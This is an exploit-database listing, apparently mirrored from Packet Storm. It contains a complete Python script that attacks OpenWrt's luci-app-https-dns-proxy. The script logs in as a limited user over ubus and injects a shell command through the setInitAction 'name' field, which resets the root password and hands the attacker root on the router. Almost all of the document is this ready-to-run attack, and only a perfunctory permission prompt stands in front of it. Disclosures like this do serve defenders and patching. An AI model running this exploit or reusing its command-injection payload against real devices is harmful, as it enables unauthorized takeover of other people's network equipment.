PACKETSTORM

📄 OpenWrt 23.05 Remote Code Execution_PACKETSTORM:220377

Description

OpenWrt version 23.05 suffers from an authenticated remote code execution vulnerability...
Visit Original Source

Basic Information

ID PACKETSTORM:220377
Published May 5, 2026 at 00:00

Affected Product

Affected Versions # Exploit Title: OpenWrt 23.05 - Authenticated Remote Code Execution (RCE)
# Date: 2026-01-17
# Exploit Author: Ahmet Mersin
# Vendor Homepage: https://github.com/stangri/luci-app-https-dns-proxy
# Software Link: https://github.com/stangri/luci-app-https-dns-proxy
# Version: All versions prior to 2026-01-17
# Tested on: OpenWrt 23.05
# CVE : Pending

"""
OpenWrt luci-app-https-dns-proxy Root Takeover Exploit
CVE-202X-XXXXX - Local Privilege Escalation via Command Injection


import requests
import sys
import getpass

def banner():
print("""
╔═══════════════════════════════════════════════════════════════╗
║ OpenWrt https-dns-proxy Root Takeover Exploit ║
║ CVE-202X-XXXXX | Privilege Escalation via Command Injection ║
║ ║
║ Developed by: ahmetmersin.com ║
╚═══════════════════════════════════════════════════════════════╝
""")

def get_user_input():
print("[*] Target Router Information:")
target_ip = input(" Router IP [192.168.1.1]: ").strip() or "192.168.1.1"

print("\n[*] Limited User Credentials (user with https-dns-proxy ACL):")
username = input(" Username: ").strip()
if not username:
print("[-] Username cannot be empty!")
sys.exit(1)
password = getpass.getpass(" Password: ")
if not password:
print("[-] Password cannot be empty!")
sys.exit(1)

print("\n[*] New Root Password:")
new_root_pass = getpass.getpass(" Enter new root password: ")
if not new_root_pass:
print("[-] Password cannot be empty!")
sys.exit(1)

confirm_pass = getpass.getpass(" Confirm new root password: ")

if new_root_pass != confirm_pass:
print("\n[-] Passwords do not match!")
sys.exit(1)

return target_ip, username, password, new_root_pass

def login(target_ip, username, password):
print(f"\n[*] Authenticating as '{username}'...")
endpoint = f"http://{target_ip}/ubus"

payload = {
"jsonrpc": "2.0", "id": 1, "method": "call",
"params": [
"00000000000000000000000000000000",
"session", "login",
{"username": username, "password": password}
]
}

try:
r = requests.post(endpoint, json=payload, timeout=10)
response = r.json()

if "result" in response and response["result"] and len(response["result"]) > 1:
result = response["result"][1]
if "ubus_rpc_session" in result:
token = result["ubus_rpc_session"]
print(f"[+] Login successful! Session token: {token[:16]}...")

# Check if user has the vulnerable permission
acls = result.get("acls", {}).get("ubus", {})
if "luci.https-dns-proxy" in acls:
if "setInitAction" in acls["luci.https-dns-proxy"]:
print(f"[+] User has access to vulnerable function!")
return token, endpoint

print("[-] User does not have 'setInitAction' permission!")
return None, None

print(f"[-] Login failed: {response}")
return None, None

except requests.exceptions.ConnectionError:
print(f"[-] Connection error: Cannot reach {target_ip}")
return None, None
except Exception as e:
print(f"[-] Error: {e}")
return None, None

def change_root_password(endpoint, session_id, new_password):
print(f"\n[*] Changing root password...")

# Payload: Use passwd with printf to change root password
malicious_name = f"x; printf '{new_password}\\n{new_password}\\n' | passwd root; echo done >"

payload = {
"jsonrpc": "2.0", "id": 666, "method": "call",
"params": [
session_id,
"luci.https-dns-proxy",
"setInitAction",
{"name": malicious_name, "action": "start"}
]
}

try:
r = requests.post(endpoint, json=payload, timeout=10)
response = r.json()

print(f"[*] Response: {response}")

# Check if result is True (command executed successfully)
if "result" in response and len(response["result"]) > 1:
result_data = response["result"][1]
if isinstance(result_data, dict) and result_data.get("result") == True:
print(f"\n" + "="*60)
print(f"[+] EXPLOIT SUCCESSFUL!")
print(f"="*60)
ip = endpoint.split('//')[1].split('/')[0]
print(f"\n[*] You can now login with the new root password:")
print(f" ssh root@{ip}")
print(f" Password: <your new password>")
return True
else:
print(f"\n" + "="*60)
print(f"[-] EXPLOIT FAILED - Command was blocked!")
print(f"="*60)
print(f"\n[!] The target may have been patched.")
return False
else:
print(f"[-] Unexpected response format")
return False

except Exception as e:
print(f"[-] Error: {e}")
return False

def main():
banner()

print("[!] WARNING: This tool is for authorized security testing only!")
print("[!] Unauthorized access to computer systems is illegal.\n")

confirm = input("Do you have permission to test this target? [y/N]: ").strip().lower()
if confirm != 'y':
print("Aborted.")
sys.exit(0)

target_ip, username, password, new_root_pass = get_user_input()

session_id, endpoint = login(target_ip, username, password)

if session_id:
success = change_root_password(endpoint, session_id, new_root_pass)
if success:
print("\n[+] Exploit completed! Test SSH access with the new password.")
else:
print("\n[-] Authentication failed. Exploit aborted.")
sys.exit(1)

if __name__ == "__main__":
main()

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.